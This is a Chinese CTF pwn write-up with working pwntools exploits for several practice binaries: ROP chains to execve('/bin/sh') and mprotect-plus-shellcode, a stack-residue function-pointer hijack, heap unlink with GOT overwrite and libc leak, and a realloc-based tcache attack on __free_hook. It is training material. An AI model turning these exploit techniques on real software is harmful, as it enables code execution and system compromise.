一点坑:

  • asm的时候一定要指定arch,asm("mov rdx,1;syscall",arch="amd64")
  • 32位的fastbin容量要少一半
  • p打印free和malloc要十分注意

    CMCC—simplerop[ida分析错误,静态链接]

    如果没思路,先找ROP的gadgets,静态链接有很多gadgets的

32位静态链接,有ida分析错误,最开始我是想两次int 0x80来系统调用的,但是一次int 0x80之后就会有ebp的leave错误赋值了,所以还是用syscall只调用execve
动态分析偏移

QQ截图20211222135620.png

  1. def exp(i):
  2. # 32bit syscall execve
  3. # execve('/bin/sh',0,0) int 80 rax=0xb rbx ='/bin/sh' rcx=0 rdx=0
  4. eax=0x080bae06
  5. edx_ecx_ebx=0x0806e850
  6. int_80=0x080493e1
  7. bss=0x080EC2C0
  8. main=0x08048E24
  9. read=0x0806CD50
  10. # read(0,addr,8) rax=0x3 rbx=0 rcx=addr rdx =8
  11. pl=b'a'*(0x14+0xc)+p32(read)
  12. pl+=p32(edx_ecx_ebx)+p32(0)+p32(bss)+p32(8)
  13. pl+=p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)
  14. pl+=p32(eax)+p32(0xb)
  15. pl+=p32(int_80)
  16. print(len(pl))
  17. #gdb.attach(p,"b *0x08048E6F")
  18. sl(pl)
  19. yes=raw_input()
  20. sl('/bin/sh\x00')
  21. if __name__=="__main__":
  22. exp(1)
  23. ir()

静态链接还能打mprotect

  1. def exp(i):
  2. # 32bit syscall execve
  3. # execve('/bin/sh',0,0) int 80 rax=0xb rbx ='/bin/sh' rcx=0 rdx=0
  4. eax=0x080bae06
  5. edx_ecx_ebx=0x0806e850
  6. int_80=0x080493e1
  7. bss=0x080EC2C0
  8. main=0x08048E24
  9. read=0x0806CD50
  10. seg=0x080ec000
  11. mpro=0x0806D870
  12. pop3=edx_ecx_ebx
  13. sh=asm(shellcraft.sh())
  14. pl=b'a'*(0x14+0xc)+p32(mpro)+p32(pop3)
  15. pl+=p32(seg)+p32(0x1000)+p32(7)
  16. pl+=p32(read)+p32(pop3)+p32(0)+p32(seg)+p32(len(sh))
  17. pl+=p32(seg)
  18. sl(pl)
  19. sl(sh)
  20. if __name__=="__main__":
  21. exp(1)
  22. ir()

[ZJCTF 2019]Login[调用函数过后栈残留的利用]

64位,没开RELRO和PIE

代码审计

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. void (*v3)(void); // rax
  4. __int64 v4; // rbx
  5. __int64 v5; // rax
  6. char v7; // [rsp+Fh] [rbp-131h] BYREF
  7. __int64 v8; // [rsp+10h] [rbp-130h] BYREF
  8. char Admin_var[176]; // [rsp+20h] [rbp-120h] BYREF
  9. char pswd[16]; // [rsp+D0h] [rbp-70h] BYREF
  10. char v11[64]; // [rsp+E0h] [rbp-60h] BYREF
  11. unsigned __int64 v12; // [rsp+128h] [rbp-18h]
  12. v12 = __readfsqword(0x28u);
  13. setbuf(stdout, 0LL);
  14. strcpy(pswd, "2jctf_pa5sw0rd");
  15. memset(v11, 0, sizeof(v11));
  16. Admin::Admin((Admin *)Admin_var, "admin", pswd);
  17. puts(
  18. " _____ _ ____ _____ _____ _ _ \n"
  19. "|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
  20. " / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
  21. " / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
  22. "/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
  23. " |___/ ");
  24. printf("Please enter username: ");
  25. User::read_name((User *)&login);
  26. printf("Please enter password: ");
  27. v3 = (void (*)(void))main::{lambda(void)#1}::operator void (*)(void)(&v7);
  28. v8 = password_checker(v3); // v8存的是内容的地址
  29. User::read_password((User *)&login);
  30. v4 = User::get_password((User *)Admin_var);
  31. v5 = User::get_password((User *)&login);
  32. password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(&v8, v5, v4);
  33. return 0;
  34. }

这个逆向难度有点高
从这行函数里逆向分析下

  1. password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(&v8, v5, v4);

可以看到调用了一个函数指针

  1. unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(void (***a1)(void), const char *a2, const char *a3)
  2. {
  3. char s[88]; // [rsp+20h] [rbp-60h] BYREF
  4. unsigned __int64 v5; // [rsp+78h] [rbp-8h]
  5. v5 = __readfsqword(0x28u);
  6. if ( !strcmp(a2, a3) )
  7. {
  8. snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
  9. puts(s);
  10. (**a1)();
  11. }
  12. else
  13. {
  14. puts("Nope!");
  15. }
  16. return __readfsqword(0x28u) ^ v5;
  17. }

a1是传入的第一个参数
QQ截图20220117125518.png
跟进汇编看看
QQ截图20220117125613.png
v8存放[rbp+var_18]的地址,然后被当成二级指针做指针函数调用,我们需要在这里面放上后门函数的地址即可

  1. v8 = password_checker(v3); // v8存的是内容的地址
  2. User::read_password((User *)&login);

可以看到password_checker后面就是read_password,在主函数里两次开子函数是不会变rbp的,所以在子函数里覆盖掉目标位置即可
同时注意snprintf,s在上个栈中是有内容的!要用\x00截断

  1. unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(void (***a1)(void), const char *a2, const char *a3)
  2. {
  3. char s[88]; // [rsp+20h] [rbp-60h] BYREF
  4. unsigned __int64 v5; // [rsp+78h] [rbp-8h]
  5. v5 = __readfsqword(0x28u);
  6. if ( !strcmp(a2, a3) )
  7. {
  8. snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
  9. puts(s);
  10. (**a1)();
  11. }
  12. else
  13. {
  14. puts("Nope!");
  15. }
  16. return __readfsqword(0x28u) ^ v5;
  17. }

wustctf2020_getshell_2 [call调用参数时的参数传递]

就是一个简单的溢出,其中system地址是0x08048529

  1. def exp(i):
  2. sh=0x08048670
  3. pl=b'a'*(0x18+4)+p32(0x08048529)+p32(sh)
  4. sl(pl)
  1. .text:08048529 call _system
  2. .text:0804852E add esp, 10h
  3. .text:08048531 nop
  4. .text:08048532 leave
  5. .text:08048533 retn

call的时候会在栈上压入下一条指令的地址,所以不需要返回地址的填充而是直接填参数

shanghai2019_slient_note[scanf触发consolidate]

2.23的打法,没开PIE+有管理指针,用unlink打法。
没leak的话可以改got表为puts的plt来进行leak,buu上的远程是2.27的版本我不知道怎么打,ha1vk大佬居然打出来了,tql

  1. def exp(i):
  2. sptr=0x6020D0
  3. lptr=0x6020D8
  4. add(1,'a')# 0x603000
  5. add(2,'b')# 0x603030
  6. free(1)
  7. hack()
  8. free(1)
  9. pl=p64(0)+p64(0x20)+p64(sptr-0x18)+p64(sptr-0x10)+p64(0x20)
  10. edit(1,pl)
  11. free(2)
  12. pl=p64(0)*3+p64(0x6020c8)
  13. edit(1,pl)
  14. pl=p64(0)+p64(0x6020c8)+p64(elf.got['free'])
  15. edit(1,pl)
  16. edit(2,p64(elf.plt['puts']))
  17. pl=p64(0)+p64(0x6020c8)+p64(elf.got['calloc'])
  18. edit(1,pl)
  19. free(2)
  20. ru("Large\n")
  21. leak=_u64(rc(6))
  22. info("leak",leak)
  23. libc_base=leak-libc.sym['calloc']
  24. info("libc_base",libc_base)
  25. pl=p64(0)+p64(0x6020c8)+p64(elf.got['free'])
  26. edit(1,pl)
  27. edit(2,p64(libc.sym['system']+libc_base))
  28. add(1,'/bin/sh')
  29. free(1)
  30. if __name__=="__main__":
  31. exp(1)
  32. #sl("cat flag")
  33. ir()

当用printf、scanf的时候会执行一次malloc+free

调试可以先b在sancf,然后p __malloc 在b到地址c过去 用strace可以看到更深的调用,比如brk(),mmap()具体之后补充

QQ截图20220118201604.png

  1. #include<stdio.h>
  2. #include<malloc.h>
  3. int main(){
  4. size_t *p =malloc(0x40);
  5. size_t *a =malloc(0x500);
  6. size_t *k =malloc(0x10);
  7. free(p);
  8. printf("p=%p,a=%p\n",p,a);
  9. free(a);
  10. a =malloc(0x500);
  11. int c=0;// <- break point
  12. return 0;
  13. }

在第八行调用printf的时候会进行一个consolidate,将fastchunk移动到smallchunk
在chunk进入smallbin后能再次free一次,绕过进入fastbin的检查,这样是为什么呢?
unlink的其中一个要求就是要检查被释放chunk的inuse位,而进入fastbin是不会抹除相邻高地址chunk的inuse,必须要进入smallbin才行,当然,抹去这个行为是在scanf的时候发生的

这就是为什么要用consolidate的原因,剩下的就很简单了,不过有个改got表为puts的plt,free(puts)掉某got表指向的内容来泄漏libc_base值得学习
unlink
此外上面double free没啥用,还有这种写法,但是不知道为什么没法申请small_chunk,个人推测是因为arena部分的链表被破坏了,没法在smallbin里解链,所以只能申请更大的,或者double free一次,就是在fastbin中取,而不会有双向链表被破坏的问题

  1. def exp(i):
  2. sptr=0x6020D0
  3. lptr=0x6020D8
  4. add(1,'a')# 0x603000
  5. add(2,'b')# 0x603030
  6. free(1)
  7. hack()
  8. # prev_size, size, fd, bk, next_prev
  9. pl=p64(0)+p64(0x20)+p64(sptr-0x18)+p64(sptr-0x10)+p64(0x20)
  10. edit(1,pl)
  11. free(2)
  12. pl=p64(0)*3+p64(0x6020c8)
  13. edit(1,pl)
  14. pl=p64(0)+p64(0x6020c8)+p64(elf.got['free'])
  15. edit(1,pl)
  16. edit(2,p64(elf.plt['puts']))
  17. pl=p64(0)+p64(0x6020c8)+p64(elf.got['calloc'])
  18. edit(1,pl)
  19. free(2)
  20. ru("Large\n")
  21. leak=_u64(rc(6))
  22. info("leak",leak)
  23. libc_base=leak-libc.sym['calloc']
  24. info("libc_base",libc_base)
  25. pl=p64(0)+p64(0x6020c8)+p64(elf.got['free'])
  26. edit(1,pl)
  27. edit(2,p64(libc.sym['system']+libc_base))
  28. #error
  29. #add(1,'/bin/sh')
  30. #free(1)
  31. add(2,'/bin/sh')
  32. free(2)
  33. if __name__=="__main__":
  34. exp(1)
  35. sl("cat flag")
  36. ir()

重新敲了一遍,更加清晰了

  1. def exp(i):
  2. sptr=0x6020D0
  3. lptr=0x6020D8
  4. add(1,'1')
  5. add(2,'2')
  6. pl=p64(0)+p64(0x20)+p64(sptr-0x18)+p64(sptr-0x10)+p64(0x20)
  7. free(1)
  8. # into smallbin and adjust inuse byte
  9. hack()
  10. edit(1,pl)
  11. free(2)
  12. # hijack free to puts
  13. pl=p64(0)*3+p64(sptr+8)+p64(elf.got['free'])
  14. edit(1,pl)
  15. edit(2,p64(elf.plt['puts']))
  16. # leak calloc_real
  17. edit(1,p64(elf.got['calloc']))
  18. free(2)
  19. libc_base=_u64(ru('\x7f')[-6:])-libc.sym['calloc']
  20. info("libc_base",libc_base)
  21. # hijack free_got
  22. edit(1,p64(elf.got['free']))
  23. edit(2,p64(libc.sym['system']+libc_base))
  24. add(2,'/bin/sh')
  25. free(2)
  26. if __name__=="__main__":
  27. exp(1)
  28. sl("cat flag")
  29. ir()

ciscn_2019_es_5[realloc不检查size的漏洞]

2.27 1.2无key版本,保护全开

  1. __int64 Edit()
  2. {
  3. __int64 result; // rax
  4. int idx; // [rsp+Ch] [rbp-14h]
  5. __int64 v2; // [rsp+10h] [rbp-10h]
  6. void *v3; // [rsp+18h] [rbp-8h]
  7. printf("Index:");
  8. idx = read_int();
  9. if ( idx < 0 || idx > 9 )
  10. {
  11. puts("You want to steal the flag?");
  12. exit(0);
  13. }
  14. if ( flist[idx] )
  15. {
  16. v2 = flist[idx];
  17. if ( *(_DWORD *)(v2 + 0xC) ) // flag 位
  18. {
  19. --*(_DWORD *)(v2 + 0xC); // 意思应该是只能修改一次
  20. v3 = realloc(*(void **)v2, *(int *)(v2 + 8));// loophole
  21. if ( v3 )
  22. {
  23. *(_QWORD *)v2 = v3;
  24. printf("New content:");
  25. secure_read(*(void **)v2, *(_DWORD *)(v2 + 8));
  26. puts("OK!");
  27. }
  28. else
  29. {
  30. puts("Can not edit this flag!");
  31. }
  32. result = 0LL;
  33. }
  34. else
  35. {
  36. puts("Dead!");
  37. result = 0LL;
  38. }
  39. }
  40. else
  41. {
  42. puts("None flag!");
  43. result = 0LL;
  44. }
  45. return result;
  46. }

漏洞点在realloc,在realloc里面有分析
再一个就是malloc(0)是合法的语句,可以调整size,如果看到题目要你自己控制size并有写入就小心了
这里的secure_read是能将末位\n置0的,就不要用sl了,会影响uaf后的编辑
能sl(b'')而不是sl('')(python3

这里面我打的是本地,远程要用buu给的libc的onegadget

  1. def exp(i):
  2. libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  3. # only can be edited or showed once
  4. flist=0x202060+0x555555554000
  5. [add(0x200,'s') for i in range(8)]
  6. add(0x10,'gap')# idx 8
  7. [free(i) for i in range(7,-1,-1)]#free idx 0~7
  8. add(0x100,'a')# idx0
  9. show(0)
  10. leak=_u64(ru('\x7f')[-6:])
  11. info("leak",leak)
  12. mh=(leak&0xfffffffff000)+(libc.sym['__malloc_hook']&0xfff)
  13. libc_base=mh-libc.sym['__malloc_hook']
  14. info("libc_base",libc_base)
  15. fh=libc.sym['__free_hook']+libc_base
  16. sys=libc.sym['system']+libc_base
  17. add(0,b'')# idx1
  18. # edit(1)
  19. ch(2)
  20. sla("Index:","1")
  21. free(1)
  22. #og=0x10a38c
  23. og=0x4f3c2# 0x4f365 0x4f3c2
  24. add(0x10,p64(fh))
  25. add(0x10,p64(og+libc_base))
  26. free(8)
  27. if __name__=="__main__":
  28. exp(1)
  29. sl("cat flag")
  30. ir()